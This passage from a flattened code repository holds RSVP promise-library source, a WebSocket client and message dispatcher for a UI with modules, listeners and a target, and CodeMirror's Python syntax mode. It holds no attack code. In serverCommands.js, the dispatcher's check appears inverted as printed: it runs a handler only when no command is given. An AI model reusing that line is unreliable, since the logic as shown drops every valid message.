resolve("promise 1"); }, 200); }); var promise2 = new RSVP.Promise(function(resolve, reject){ setTimeout(function(){ reject(new Error("promise 2")); }, 100); }); RSVP.Promise.race([promise1, promise2]).then(function(result){ // Code here never runs because there are rejected promises! }, function(reason){ // reason.message === "promise2" because promise 2 became rejected before // promise 1 became fulfilled }); ``` @method race @for RSVP.Promise @param {Array} promises array of promises to observe @param {String} label optional string for describing the promise returned. Useful for tooling. @return {Promise} a promise which settles in the same way as the first passed promise to settle. */ __exports__["default"] = function race(entries, label) { /*jshint validthis:true */ var Constructor = this, entry; return new Constructor(function(resolve, reject) { if (!isArray(entries)) { throw new TypeError('You must pass an array to race.'); } var pending = true; function onFulfillment(value) { if (pending) { pending = false; resolve(value); } } function onRejection(reason) { if (pending) { pending = false; reject(reason); } } for (var i = 0; i < entries.length; i++) { entry = entries[i]; if (isNonThenable(entry)) { pending = false; resolve(entry); return; } else { Constructor.cast(entry).then(onFulfillment, onRejection); } } }, label); }; }); define("rsvp/promise/reject", ["exports"], function(__exports__) { "use strict"; /** `RSVP.Promise.reject` returns a promise rejected with the passed `reason`. It is essentially shorthand for the following: ```javascript var promise = new RSVP.Promise(function(resolve, reject){ reject(new Error('WHOOPS')); }); promise.then(function(value){ // Code here doesn't run because the promise is rejected! }, function(reason){ // reason.message === 'WHOOPS' }); ``` Instead of writing the above, your code now simply becomes the following: ```javascript var promise = RSVP.Promise.reject(new Error('WHOOPS')); promise.then(function(value){ // Code here doesn't run because the promise is rejected! }, function(reason){ // reason.message === 'WHOOPS' }); ``` @method reject @for RSVP.Promise @param {Any} reason value that the returned promise will be rejected with. @param {String} label optional string for identifying the returned promise. Useful for tooling. @return {Promise} a promise rejected with the given `reason`. */ __exports__["default"] = function reject(reason, label) { /*jshint validthis:true */ var Constructor = this; return new Constructor(function (resolve, reject) { reject(reason); }, label); }; }); define("rsvp/promise/resolve", ["exports"], function(__exports__) { "use strict"; /** `RSVP.Promise.resolve` returns a promise that will become fulfilled with the passed `value`. It is essentially shorthand for the following: ```javascript var promise = new RSVP.Promise(function(resolve, reject){ resolve(1); }); promise.then(function(value){ // value === 1 }); ``` Instead of writing the above, your code now simply becomes the following: ```javascript var promise = RSVP.Promise.resolve(1); promise.then(function(value){ // value === 1 }); ``` @method resolve @for RSVP.Promise @param {Any} value value that the returned promise will be resolved with @param {String} label optional string for identifying the returned promise. Useful for tooling. @return {Promise} a promise that will become fulfilled with the given `value` */ __exports__["default"] = function resolve(value, label) { /*jshint validthis:true */ var Constructor = this; return new Constructor(function(resolve, reject) { resolve(value); }, label); }; }); define("rsvp/race", ["./promise","exports"], function(__dependency1__, __exports__) { "use strict"; var Promise = __dependency1__["default"]; __exports__["default"] = function race(array, label) { return Promise.race(array, label); }; }); define("rsvp/reject", ["./promise","exports"], function(__dependency1__, __exports__) { "use strict"; var Promise = __dependency1__["default"]; __exports__["default"] = function reject(reason, label) { return Promise.reject(reason, label); }; }); define("rsvp/resolve", ["./promise","exports"], function(__dependency1__, __exports__) { "use strict"; var Promise = __dependency1__["default"]; __exports__["default"] = function resolve(value, label) { return Promise.resolve(value, label); }; }); define("rsvp/rethrow", ["exports"], function(__exports__) { "use strict"; /** `RSVP.rethrow` will rethrow an error on the next turn of the JavaScript event loop in order to aid debugging. Promises A+ specifies that any exceptions that occur with a promise must be caught by the promises implementation and bubbled to the last handler. For this reason, it is recommended that you always specify a second rejection handler function to `then`. However, `RSVP.rethrow` will throw the exception outside of the promise, so it bubbles up to your console if in the browser, or domain/cause uncaught exception in Node. `rethrow` will throw the error again so the error can be handled by the promise. ```javascript function throws(){ throw new Error('Whoops!'); } var promise = new RSVP.Promise(function(resolve, reject){ throws(); }); promise.catch(RSVP.rethrow).then(function(){ // Code here doesn't run because the promise became rejected due to an // error! }, function (err){ // handle the error here }); ``` The 'Whoops' error will be thrown on the next turn of the event loop and you can watch for it in your console. You can also handle it using a rejection handler given to `.then` or `.catch` on the returned promise. @method rethrow @for RSVP @param {Error} reason reason the promise became rejected. @throws Error */ __exports__["default"] = function rethrow(reason) { setTimeout(function() { throw reason; }); throw reason; }; }); define("rsvp/utils", ["exports"], function(__exports__) { "use strict"; function objectOrFunction(x) { return typeof x === "function" || (typeof x === "object" && x !== null); } __exports__.objectOrFunction = objectOrFunction;function isFunction(x) { return typeof x === "function"; } __exports__.isFunction = isFunction;function isNonThenable(x) { return !objectOrFunction(x); } __exports__.isNonThenable = isNonThenable;function isArray(x) { return Object.prototype.toString.call(x) === "[object Array]"; } __exports__.isArray = isArray;// Date.now is not available in browsers < IE9 // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/now#Compatibility var now = Date.now || function() { return new Date().getTime(); }; __exports__.now = now; var keysOf = Object.keys || function(object) { var result = []; for (var prop in object) { result.push(prop); } return result; }; __exports__.keysOf = keysOf; }); define("rsvp", ["./rsvp/promise","./rsvp/events","./rsvp/node","./rsvp/all","./rsvp/all_settled","./rsvp/race","./rsvp/hash","./rsvp/rethrow","./rsvp/defer","./rsvp/config","./rsvp/map","./rsvp/resolve","./rsvp/reject","./rsvp/asap","./rsvp/filter","exports"], function(__dependency1__, __dependency2__, __dependency3__, __dependency4__, __dependency5__, __dependency6__, __dependency7__, __dependency8__, __dependency9__, __dependency10__, __dependency11__, __dependency12__, __dependency13__, __dependency14__, __dependency15__, __exports__) { "use strict"; var Promise = __dependency1__["default"]; var EventTarget = __dependency2__["default"]; var denodeify = __dependency3__["default"]; var all = __dependency4__["default"]; var allSettled = __dependency5__["default"]; var race = __dependency6__["default"]; var hash = __dependency7__["default"]; var rethrow = __dependency8__["default"]; var defer = __dependency9__["default"]; var config = __dependency10__.config; var configure = __dependency10__.configure; var map = __dependency11__["default"]; var resolve = __dependency12__["default"]; var reject = __dependency13__["default"]; var asap = __dependency14__["default"]; var filter = __dependency15__["default"]; config.async = asap; // default async is asap; function async(callback, arg) { config.async(callback, arg); } function on() { config.on.apply(config, arguments); } function off() { config.off.apply(config, arguments); } // Set up instrumentation through `window.__PROMISE_INTRUMENTATION__` if (typeof window !== 'undefined' && typeof window.__PROMISE_INSTRUMENTATION__ === 'object') { var callbacks = window.__PROMISE_INSTRUMENTATION__; configure('instrument', true); for (var eventName in callbacks) { if (callbacks.hasOwnProperty(eventName)) { on(eventName, callbacks[eventName]); } } } __exports__.Promise = Promise; __exports__.EventTarget = EventTarget; __exports__.all = all; __exports__.allSettled = allSettled; __exports__.race = race; __exports__.hash = hash; __exports__.rethrow = rethrow; __exports__.defer = defer; __exports__.denodeify = denodeify; __exports__.configure = configure; __exports__.on = on; __exports__.off = off; __exports__.resolve = resolve; __exports__.reject = reject; __exports__.async = async; __exports__.map = map; __exports__.filter = filter; }); global.RSVP = requireModule('rsvp'); }(window)); ================================================ FILE: ui/js/serverCommands.js ================================================ function ServerCommandsHandler() { this.commands = { "on_listener_message": this.onListenerMessage, "on_module_message": this.onModuleMessage, "on_error": this.onError, "on_info": this.onInfo, "hello": this.onHello, "on_callback": this.onCallback }; this.statuses = []; }; ServerCommandsHandler.prototype = { parseAndExecuteMessage: function (message) { var parsed = JSON.parse(message); var command = parsed["command"]; var args = parsed["args"]; var uuid = parsed.uuid; if (!command) return this.commands[command](args, uuid); }, onCallback: function (args, uuid) { serverCommandsHandler.fireCustomEvent(uuid, args); $(document).unbind(uuid); }, onListenerMessage: function (args) { serverCommandsHandler.fireCustomEvent("on_listener_message", args); }, onModuleMessage: function (args) { serverCommandsHandler.fireCustomEvent("on_module_message", args); }, onHello: function (args) { serverCommandsHandler.fireCustomEvent("hello", args); }, onError: function (args) { toastr.error(args.message, 'Error', {timeOut: 5000}); }, onInfo: function (args) { toastr.info(args.message); }, fireCustomEvent: function (event_type, data) { $.event.trigger({ type: event_type, args: data }); } }; serverCommandsHandler = new ServerCommandsHandler(); ================================================ FILE: ui/js/ws.js ================================================ // window.onbeforeunload = function() { // websocketHandler.websocket.onclose = function () {}; // disable onclose handler first // websocketHandler.websocket.close(); // }; commonData = { version: '', modules: [], tabs: [], target: "", selectedModule: {}, serverEnabled: true, serviceMessages: [] }; var WebsocketHandler= function() { this.connectionString = 'ws://'+window.location.hostname+':49999/'; this.websocket = new WebSocket(this.connectionString); this.websocket.onopen = this.onOpen; this.websocket.onclose = this.onClose; this.websocket.onmessage = this.onMessage; this.websocket.onerror = this.onError; }; WebsocketHandler.prototype = { initData: function (evt) { commonData.serverEnabled = true; var hello = function() { var promise = new RSVP.Promise(function(resolve, reject) { guiCommandsHandler.hello(function(res) { resolve(res); }) }) return promise; }; var getAllData = function() { var promise = new RSVP.Promise(function(resolve, reject) { guiCommandsHandler.getAllData(function(res) { resolve(res.args); }) }); return promise; }; // Gets modules names, version, etc var getModulesLog = function() { var promise = new RSVP.Promise(function(resolve, reject) { guiCommandsHandler.getModulesLog(function(res) { resolve(res.args); }) }); return promise; } return hello() .then(function(res) { return getAllData(); }) .then(function(args) { _.extend(commonData, args); return getModulesLog(); }) .then(function(args) { var tabsData = _.map(args, function(value, key) { return { title: key, content: _.map(value.message, function(message) { if (message.type == 'image') message.message = 'data:image/jpg;base64,' + message.message; return message; }), active: false, useListener: _.size(value.listener) > 0, listenerMessages: value.listener ? value.listener.message : "", listenerState: value.listener ? value.listener.connected : 0, state: value.state } }); if (tabsData.length) { tabsData[0].active = true; } _.extend(commonData, {tabs: tabsData}); }) }, onOpen: function(evt) { toastr.info('Connection to server succeeded'); websocketHandler.initData(evt); }, onClose: function(evt) { commonData.serverEnabled = false; toastr.error('Websocket server is unavailable'); console.log("Close") }, onMessage: function(evt) { // console.log(evt.data); serverCommandsHandler.parseAndExecuteMessage(evt.data); }, onError: function(evt) { commonData.serverEnabled = false; websocketHandler.websocket.close(); }, doSend: function(message) { websocketHandler.websocket.send(JSON.stringify(message)); }, reconnect: function(){ websocketHandler.websocket.close(); websocketHandler.websocket = new WebSocket(this.connectionString); websocketHandler.websocket.onopen = this.onOpen; websocketHandler.websocket.onclose = this.onClose; websocketHandler.websocket.onmessage = this.onMessage; websocketHandler.websocket.onerror = this.onError; } } websocketHandler = new WebsocketHandler(); function doSend(message, callback){ message.uuid = genUUID4(); bindEvent(message.uuid, callback); websocketHandler.doSend(message); } function bindEvent(event_type, callback) { $(document).unbind(event_type); $(document).on(event_type, callback); } ================================================ FILE: ui/mode/python/index.html ================================================ CodeMirror: Python mode

    Python mode

    Cython mode

    Configuration Options for Python mode:

    • version - 2/3 - The version of Python to recognize. Default is 2.
    • singleLineStringErrors - true/false - If you have a single-line string that is not terminated at the end of the line, this will show subsequent lines as errors if true, otherwise it will consider the newline as the end of the string. Default is false.
    • hangingIndent - int - If you want to write long arguments to a function starting on a new line, how much that line should be indented. Defaults to one normal indentation unit.

    Advanced Configuration Options:

    Usefull for superset of python syntax like Enthought enaml, IPython magics and questionmark help

    • singleOperators - RegEx - Regular Expression for single operator matching, default :
      ^[\\+\\-\\*/%&|\\^~<>!]
      including
      @
      on Python 3
    • singleDelimiters - RegEx - Regular Expression for single delimiter matching, default :
      ^[\\(\\)\\[\\]\\{\\}@,:`=;\\.]
    • doubleOperators - RegEx - Regular Expression for double operators matching, default :
      ^((==)|(!=)|(<=)|(>=)|(<>)|(<<)|(>>)|(//)|(\\*\\*))
    • doubleDelimiters - RegEx - Regular Expressoin for double delimiters matching, default :
      ^((\\+=)|(\\-=)|(\\*=)|(%=)|(/=)|(&=)|(\\|=)|(\\^=))
    • tripleDelimiters - RegEx - Regular Expression for triple delimiters matching, default :
      ^((//=)|(>>=)|(<<=)|(\\*\\*=))
    • identifiers - RegEx - Regular Expression for identifier, default :
      ^[_A-Za-z][_A-Za-z0-9]*
      on Python 2 and
      ^[_A-Za-z\u00A1-\uFFFF][_A-Za-z0-9\u00A1-\uFFFF]*
      on Python 3.
    • extra_keywords - list of string - List of extra words ton consider as keywords
    • extra_builtins - list of string - List of extra words ton consider as builtins

    MIME types defined: text/x-python and text/x-cython.

    ================================================ FILE: ui/mode/python/python.js ================================================ // CodeMirror, copyright (c) by Marijn Haverbeke and others // Distributed under an MIT license: http://codemirror.net/LICENSE (function(mod) { if (typeof exports == "object" && typeof module == "object") // CommonJS mod(require("../../lib/codemirror")); else if (typeof define == "function" && define.amd) // AMD define(["../../lib/codemirror"], mod); else // Plain browser env mod(CodeMirror); })(function(CodeMirror) { "use strict"; function wordRegexp(words) { return new RegExp("^((" + words.join(")|(") + "))\\b"); } var wordOperators = wordRegexp(["and", "or", "not", "is"]); var commonKeywords = ["as", "assert", "break", "class", "continue", "def", "del", "elif", "else", "except", "finally", "for", "from", "global", "if", "import", "lambda", "pass", "raise", "return", "try", "while", "with", "yield", "in"]; var commonBuiltins = ["abs", "all", "any", "bin", "bool", "bytearray", "callable", "chr", "classmethod", "compile", "complex", "delattr", "dict", "dir", "divmod", "enumerate", "eval", "filter", "float", "format", "frozenset", "getattr", "globals", "hasattr", "hash", "help", "hex", "id", "input", "int", "isinstance", "issubclass", "iter", "len", "list", "locals", "map", "max", "memoryview", "min", "next", "object", "oct", "open", "ord", "pow", "property", "range", "repr", "reversed", "round", "set", "setattr", "slice", "sorted", "staticmethod", "str", "sum", "super", "tuple", "type", "vars", "zip", "__import__", "NotImplemented", "Ellipsis", "__debug__"]; var py2 = {builtins: ["apply", "basestring", "buffer", "cmp", "coerce", "execfile", "file", "intern", "long", "raw_input", "reduce", "reload", "unichr", "unicode", "xrange", "False", "True", "None"], keywords: ["exec", "print"]}; var py3 = {builtins: ["ascii", "bytes", "exec", "print"], keywords: ["nonlocal", "False", "True", "None", "async", "await"]}; CodeMirror.registerHelper("hintWords", "python", commonKeywords.concat(commonBuiltins)); function top(state) { return state.scopes[state.scopes.length - 1]; } CodeMirror.defineMode("python", function(conf, parserConf) { var ERRORCLASS = "error"; var singleDelimiters = parserConf.singleDelimiters || new RegExp("^[\\(\\)\\[\\]\\{\\}@,:`=;\\.]"); var doubleOperators = parserConf.doubleOperators || new RegExp("^((==)|(!=)|(<=)|(>=)|(<>)|(<<)|(>>)|(//)|(\\*\\*))"); var doubleDelimiters = parserConf.doubleDelimiters || new RegExp("^((\\+=)|(\\-=)|(\\*=)|(%=)|(/=)|(&=)|(\\|=)|(\\^=))"); var tripleDelimiters = parserConf.tripleDelimiters || new RegExp("^((//=)|(>>=)|(<<=)|(\\*\\*=))"); if (parserConf.version && parseInt(parserConf.version, 10) == 3){ // since http://legacy.python.org/dev/peps/pep-0465/ @ is also an operator var singleOperators = parserConf.singleOperators || new RegExp("^[\\+\\-\\*/%&|\\^~<>!@]"); var identifiers = parserConf.identifiers|| new RegExp("^[_A-Za-z\u00A1-\uFFFF][_A-Za-z0-9\u00A1-\uFFFF]*"); } else { var singleOperators = parserConf.singleOperators || new RegExp("^[\\+\\-\\*/%&|\\^~<>!]"); var identifiers = parserConf.identifiers|| new RegExp("^[_A-Za-z][_A-Za-z0-9]*"); } var hangingIndent = parserConf.hangingIndent || conf.indentUnit; var myKeywords = commonKeywords, myBuiltins = commonBuiltins; if(parserConf.extra_keywords != undefined){ myKeywords = myKeywords.concat(parserConf.extra_keywords); } if(parserConf.extra_builtins != undefined){ myBuiltins = myBuiltins.concat(parserConf.extra_builtins); } if (parserConf.version && parseInt(parserConf.version, 10) == 3) { myKeywords = myKeywords.concat(py3.keywords); myBuiltins = myBuiltins.concat(py3.builtins); var stringPrefixes = new RegExp("^(([rb]|(br))?('{3}|\"{3}|['\"]))", "i"); } else { myKeywords = myKeywords.concat(py2.keywords); myBuiltins = myBuiltins.concat(py2.builtins); var stringPrefixes = new RegExp("^(([rub]|(ur)|(br))?('{3}|\"{3}|['\"]))", "i"); } var keywords = wordRegexp(myKeywords); var builtins = wordRegexp(myBuiltins); // tokenizers function tokenBase(stream, state) { // Handle scope changes if (stream.sol() && top(state).type == "py") { var scopeOffset = top(state).offset; if (stream.eatSpace()) { var lineOffset = stream.indentation(); if (lineOffset > scopeOffset) pushScope(stream, state, "py"); else if (lineOffset < scopeOffset && dedent(stream, state)) state.errorToken = true; return null; } else { var style = tokenBaseInner(stream, state); if (scopeOffset > 0 && dedent(stream, state)) style += " " + ERRORCLASS; return style; } } return tokenBaseInner(stream, state); } function tokenBaseInner(stream, state) { if (stream.eatSpace()) return null; var ch = stream.peek(); // Handle Comments if (ch == "#") { stream.skipToEnd(); return "comment"; } // Handle Number Literals if (stream.match(/^[0-9\.]/, false)) { var floatLiteral = false; // Floats if (stream.match(/^\d*\.\d+(e[\+\-]?\d+)?/i)) { floatLiteral = true; } if (stream.match(/^\d+\.\d*/)) { floatLiteral = true; } if (stream.match(/^\.\d+/)) { floatLiteral = true; } if (floatLiteral) { // Float literals may be "imaginary" stream.eat(/J/i); return "number"; } // Integers var intLiteral = false; // Hex if (stream.match(/^0x[0-9a-f]+/i)) intLiteral = true; // Binary if (stream.match(/^0b[01]+/i)) intLiteral = true; // Octal if (stream.match(/^0o[0-7]+/i)) intLiteral = true; // Decimal if (stream.match(/^[1-9]\d*(e[\+\-]?\d+)?/)) { // Decimal literals may be "imaginary" stream.eat(/J/i); // TODO - Can you have imaginary longs? intLiteral = true; } // Zero by itself with no other piece of number. if (stream.match(/^0(?![\dx])/i)) intLiteral = true; if (intLiteral) { // Integer literals may be "long" stream.eat(/L/i); return "number"; } } // Handle Strings if (stream.match(stringPrefixes)) { state.tokenize = tokenStringFactory(stream.current()); return state.tokenize(stream, state); } // Handle operators and Delimiters if (stream.match(tripleDelimiters) || stream.match(doubleDelimiters)) return null; if (stream.match(doubleOperators) || stream.match(singleOperators)) return "operator"; if (stream.match(singleDelimiters)) return null; if (stream.match(keywords) || stream.match(wordOperators)) return "keyword"; if (stream.match(builtins)) return "builtin"; if (stream.match(/^(self|cls)\b/)) return "variable-2"; if (stream.match(identifiers)) { if (state.lastToken == "def" || state.lastToken == "class") return "def"; return "variable"; } // Handle non-detected items stream.next(); return ERRORCLASS; } function tokenStringFactory(delimiter) { while ("rub".indexOf(delimiter.charAt(0).toLowerCase()) >= 0) delimiter = delimiter.substr(1); var singleline = delimiter.length == 1; var OUTCLASS = "string"; function tokenString(stream, state) { while (!stream.eol()) { stream.eatWhile(/[^'"\\]/); if (stream.eat("\\")) { stream.next(); if (singleline && stream.eol()) return OUTCLASS; } else if (stream.match(delimiter)) { state.tokenize = tokenBase; return OUTCLASS; } else { stream.eat(/['"]/); } } if (singleline) { if (parserConf.singleLineStringErrors) return ERRORCLASS; else state.tokenize = tokenBase; } return OUTCLASS; } tokenString.isString = true; return tokenString; } function pushScope(stream, state, type) { var offset = 0, align = null; if (type == "py") { while (top(state).type != "py") state.scopes.pop(); } offset = top(state).offset + (type == "py" ? conf.indentUnit : hangingIndent); if (type != "py" && !stream.match(/^(\s|#.*)*$/, false)) align = stream.column() + 1; state.scopes.push({offset: offset, type: type, align: align}); } function dedent(stream, state) { var indented = stream.indentation(); while (top(state).offset > indented) { if (top(state).type != "py") return true; state.scopes.pop(); } return top(state).offset != indented; } function tokenLexer(stream, state) { var style = state.tokenize(stream, state); var current = stream.current(); // Handle '.' connected identifiers if (current == ".") { style = stream.match(identifiers, false) ? null : ERRORCLASS; if (style == null && state.lastStyle == "meta") { // Apply 'meta' style to '.' connected identifiers when // appropriate. style = "meta"; } return style; } // Handle decorators if (current == "@"){ if(parserConf.version && parseInt(parserConf.version, 10) == 3){ return stream.match(identifiers, false) ? "meta" : "operator"; } else { return stream.match(identifiers, false) ? "meta" : ERRORCLASS; } } if ((style == "variable" || style == "builtin") && state.lastStyle == "meta") style = "meta"; // Handle scope changes. if (current == "pass" || current == "return") state.dedent += 1; if (current == "lambda") state.lambda = true; if (current == ":" && !state.lambda && top(state).type == "py") pushScope(stream, state, "py"); var delimiter_index = current.length == 1 ? "[({".indexOf(current) : -1; if (delimiter_index != -1) pushScope(stream, state, "])}".slice(delimiter_index, delimiter_index+1)); delimiter_index = "])}".indexOf(current); if (delimiter_index != -1) { if (top(state).type == current) state.scopes.pop(); else return ERRORCLASS; } if (state.dedent > 0 && stream.eol() && top(state).type == "py") { if (state.scopes.length > 1) state.scopes.pop(); state.dedent -= 1; } return style; } var external = { startState: function(basecolumn) { return { tokenize: tokenBase, scopes: [{offset: basecolumn || 0, type: "py", align: null}], lastStyle: null, lastToken: null, lambda: false, dedent: 0 }; }, token: function(stream, state) { var addErr = state.errorToken; if (addErr) state.errorToken = false; var style = tokenLexer(stream, state); state.lastStyle = style; var current = stream.current(); if (current && style) state.lastToken = current; if (stream.eol() && state.lambda) state.lambda = false; return addErr ? style + " " + ERRORCLASS : style; }, indent: function(state, textAfter) { if (state.tokenize != tokenBase) return state.tokenize.isString ? CodeMirror.Pass : 0; var scope = top(state); var closing = textAfter && textAfter.charAt(0) == scope.type; if (scope.align != null) return scope.align - (closing ? 1 : 0); else if (closing && state.scopes.length > 1) return state.scopes[state.scopes.length - 2].offset; else return scope.offset; }, closeBrackets: {triples: "'\""}, lineComment: "#", fold: "indent" }; return external; }); CodeMirror.defineMIME("text/x-python", "python"); var words = function(str) { return str.split(" "); }; CodeMirror.defineMIME("text/x-cython", { name: "python", extra_keywords: words("by cdef cimport cpdef ctypedef enum except"+ "extern gil include nogil property public"+ "readonly struct union DEF IF ELIF ELSE") }); });